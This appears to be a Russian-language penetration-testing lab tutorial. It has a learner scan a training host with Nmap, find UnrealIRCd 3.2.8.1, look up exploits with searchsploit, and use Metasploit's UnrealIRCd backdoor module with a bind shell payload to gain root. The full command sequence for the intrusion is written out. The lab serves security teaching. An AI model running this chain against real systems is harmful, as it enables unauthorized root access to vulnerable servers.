Введение
Сетевое сканирование — это дисциплина, требующая активной практики. С помощью сканирования сети пользователи могут обнаруживать порты, назначенные различным службам на целевом хосте, открытые службы, программное обеспечение и версии служб, а также другую информацию.
В этой лабораторной работе вы научитесь сканировать целевой хост на наличие уязвимостей в сетевых службах.
Использование Nmap для сканирования открытых портов на целевом хосте
Базовый рабочий процесс сетевого сканирования выглядит следующим образом:
- Обнаружение целевого хоста
- Сканирование портов
- Сканирование информации об отпечатках (fingerprinting)
- Сканирование уязвимостей
- Проведение атак на проникновение
Nmap (Network Mapper) — это мощный инструмент для сканирования сетей. Он поддерживает различные методы сканирования, такие как UDP, TCP connect(), TCP SYN (полуоткрытое сканирование), FTP-прокси (атака через перенаправление), обратные флаги, ICMP, FIN, ACK, SYN и null-сканирование.
На этом этапе вы будете использовать Nmap для сканирования открытых портов на целевом хосте. В настройках лабораторной работы уже запущена уязвимая учебная служба по адресу 192.168.122.102, поэтому ваше сканирование должно обнаружить активный хост, а не сообщить о его недоступности.
- Откройте терминал и войдите в контейнер Kali:
docker run -ti --network host b5b709a49cd5 bash
- Используйте команду
nmapдля сканирования целевого хоста 192.168.122.102:
nmap -p 6667 -T4 -A -v 192.168.122.102 > /tmp/report.txt
Эта команда сканирует порт 6667 на целевом хосте, использует ускоренную политику тайминга, включает определение версий и сохраняет вывод в файл /tmp/report.txt.
Анализ результатов сканирования
После сканирования целевого хоста необходимо проанализировать результаты для выявления потенциальных уязвимостей.
- Просмотрите отчет о сканировании:
cat /tmp/report.txt
Эта команда выводит содержимое файла /tmp/report.txt, который содержит информацию об открытых портах, службах и их версиях на целевом хосте. Успешное сканирование должно показать, что хост активен, а порт 6667 открыт, как в следующем примере:
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Discovered open port 6667/tcp on 192.168.122.102
Nmap scan report for 192.168.122.102
Host is up.
PORT STATE SERVICE VERSION
6667/tcp open irc UnrealIRCd 3.2.8.1
Service Info: Host: labex-target
- Используйте инструмент
searchsploitдля поиска информации об уязвимостях:
searchsploit unreal ircd
Эта команда ищет в базе данных эксплойтов (Exploit Database) уязвимости, связанные со службой "unreal ircd". Вот пример того, как может выглядеть вывод:
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
- Просмотрите детали уязвимости:
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb
Эта команда отображает содержимое файла эксплойта уязвимости, расположенного по адресу /usr/share/exploitdb/exploits/linux/remote/16922.rb.
Эксплуатация уязвимости
После анализа результатов сканирования и выявления потенциальных уязвимостей вы можете попытаться использовать одну из них для проведения атаки.
Определите уязвимость, которую можно эксплуатировать, исходя из результатов сканирования. Например, предположим, что сканирование обнаружило открытый порт 6667 с уязвимой службой.
Запустите Metasploit Framework:
cd ~
msfconsole
- В консоли Metasploit выберите соответствующий модуль эксплойта:
use exploit/unix/irc/unreal_ircd_3281_backdoor
- Установите IP-адрес целевого хоста:
set RHOST 192.168.122.102
- Установите полезную нагрузку (payload):
set PAYLOAD cmd/unix/bind_perl
- Запустите эксплойт:
exploit
Если эксплуатация прошла успешно, вы получите доступ к целевому хосту.
- После попытки эксплуатации уязвимости необходимо проверить, была ли она успешной. В сессии Metasploit проверьте текущего пользователя и имя хоста:
whoami
hostname
Если вывод показывает, что вы вошли в систему как пользователь root, значит, эксплуатация прошла успешно. В этой лабораторной работе уязвимая служба запущена внутри изолированного сетевого пространства имен на учебной виртуальной машине, поэтому вывод hostname будет показывать имя текущей виртуальной машины LabEx, а не отдельной гостевой системы.
Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку
Резюме
В этой лабораторной работе вы изучили базовый рабочий процесс сетевого сканирования, который включает обнаружение целевого хоста, сканирование портов, получение информации об отпечатках, сканирование уязвимостей и проведение атак на проникновение. Вы использовали мощный инструмент Nmap для сканирования открытых портов на целевом хосте и проанализировали результаты для выявления потенциальных уязвимостей. Кроме того, вы научились искать информацию об уязвимостях с помощью инструмента searchsploit и эксплуатировать их с помощью Metasploit Framework. Наконец, вы подтвердили успех эксплуатации, проверив текущего пользователя и имя хоста на целевой системе.
Благодаря этой практической работе вы получили опыт сканирования уязвимостей сетевых служб и проведения атак. Эти знания критически важны для обеспечения безопасности сетевых систем и выявления потенциальных рисков.



